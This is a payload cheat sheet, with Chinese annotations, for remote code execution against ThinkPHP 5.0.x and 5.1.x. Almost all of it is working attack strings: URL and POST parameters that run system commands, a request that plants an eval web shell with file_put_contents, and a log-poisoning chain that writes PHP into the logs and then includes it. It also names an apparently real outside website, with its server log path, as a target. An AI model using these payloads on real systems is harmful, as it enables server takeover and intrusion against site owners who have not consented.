5.1.x ：

    1. ?s=index/\think\Request/input&filter[]=system&data=pwd
    2. ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
    3. ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
    4. ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    5. ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    5.0.x ：

    1. ?s=index/think\config/get&name=database.username # 获取配置信息
    2. ?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
    3. ?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
    4. ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    写入 shell

    1. http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../shell.php&vars[1][]=<?php @eval($_REQUEST[cmd]);?>
    1. # ThinkPHP <= 5.0.13
    2. POST /?s=index/index
    3. s=whoami&_method=__construct&method=&filter[]=system
    5. # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
    6. POST /
    7. _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
    9. # ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha
    10. POST /?s=xxx HTTP/1.1
    11. _method=__construct&filter[]=system&method=get&get[]=ls+-al
    12. _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
    13. 写shell进日志
    14. _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
    16. 通过日志包含getshell
    17. _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
    19. 提示call_user_func() expects parameter 1 to be a valid callback, function '<?php eval($_POST['x'])?>' not found or invalid function name
    20. http://dj.lzftah.com/?s=index
    21. _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/www/wwwroot/dj.lzftah.com/runtime/log/202203/05.log&x=phpinfo();